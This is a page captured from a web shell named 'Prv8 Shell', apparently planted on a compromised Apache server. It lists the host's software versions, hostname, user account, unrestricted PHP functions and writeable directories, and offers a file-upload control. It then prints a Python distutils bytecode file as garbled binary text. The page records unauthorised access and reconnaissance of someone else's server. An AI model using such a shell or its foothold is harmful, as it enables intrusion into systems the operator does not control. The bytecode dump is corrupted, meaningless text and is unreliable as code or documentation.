Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /usr/lib64/python2.6/distutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.6/distutils/config.pyc
Ñò
§ÚêLc@s^dZddkZddkZddklZddklZdZdefd„ƒYZdS(sdistutils.pypirc

Provides the PyPIRCCommand class, the base class for the command classes
that uses .pypirc in the distutils.command package.
iÿÿÿÿN(tConfigParser(tCommandsE[distutils]
index-servers =
    pypi

[pypi]
username:%s
password:%s
t
PyPIRCCommandcBsueZdZdZdZd
Zd
ZdddefdgZdgZ	d„Z
d	„Zd
„Zd„Z
d„ZRS(s;Base command that knows how to handle the .pypirc file
    shttp://pypi.python.org/pypitpypisrepository=trsurl of repository [default: %s]s
show-responses&display full response text from servercCstiitiidƒdƒS(sReturns rc file path.t~s.pypirc(tostpathtjoint
expanduser(tself((s(/usr/lib64/python2.6/distutils/config.pyt_get_rc_file'scCso|iƒ}titi|titiBdƒdƒiiƒ}z$|~}|it	||fƒWdQXdS(sCreates a default .pypirc file.i€twN(
RRtfdopentopentO_CREATtO_WRONLYt__exit__t	__enter__twritetDEFAULT_PYPIRC(R
tusernametpasswordtrct_[1]tfp((s(/usr/lib64/python2.6/distutils/config.pyt
_store_pypirc+sBc
Csx|iƒ}tii|ƒoU|id|ƒ|ip|i}|ip|i}t	ƒ}|i
|ƒ|iƒ}d|joc|iddƒ}g}|i
dƒD]*}|iƒdjo||iƒq«q«~}	|	gjo"d|jo
dg}	q
hSnx`|	D]Ì}h|d6}
|i|dƒ|
d<|i|d	ƒ|
d	<xcd
|ifd|iffD]C\}}|i||ƒo|i||ƒ|
|<qr||
|<qrW|
d|jp|
d
|jo|
SqWqtd|jo{d}|i|d
ƒo|i|d
ƒ}n
|i}h|i|dƒd6|i|d	ƒd	6|d
6|d6|id6SnhS(
sReads the .pypirc file.sUsing PyPI login from %st	distutilss
index-serverss
tRtserverRRt
repositorytrealmsserver-login(RRRtexiststannounceRtDEFAULT_REPOSITORYRt
DEFAULT_REALMRtreadtsectionstgettsplittstript
has_option(
R
RRRtconfigR%t
index_serversRRt_serverstcurrenttkeytdefault((s(/usr/lib64/python2.6/distutils/config.pyt_read_pypirc1sV	

-



	

	cCsd|_d|_d|_dS(sInitialize options.iN(tNoneRRt
show_response(R
((s(/usr/lib64/python2.6/distutils/config.pytinitialize_optionsis		cCsD|idjo|i|_n|idjo|i|_ndS(sFinalizes options.N(RR1R"RR#(R
((s(/usr/lib64/python2.6/distutils/config.pytfinalize_optionsosN(s
show-responseNs&display full response text from server(t__name__t
__module__t__doc__R"R#R1RRtuser_optionstboolean_optionsRRR0R3R4(((s(/usr/lib64/python2.6/distutils/config.pyRs 					8	(R7RtsysRt
distutils.cmdRRR(((s(/usr/lib64/python2.6/distutils/config.pyt<module>s


haha - 2025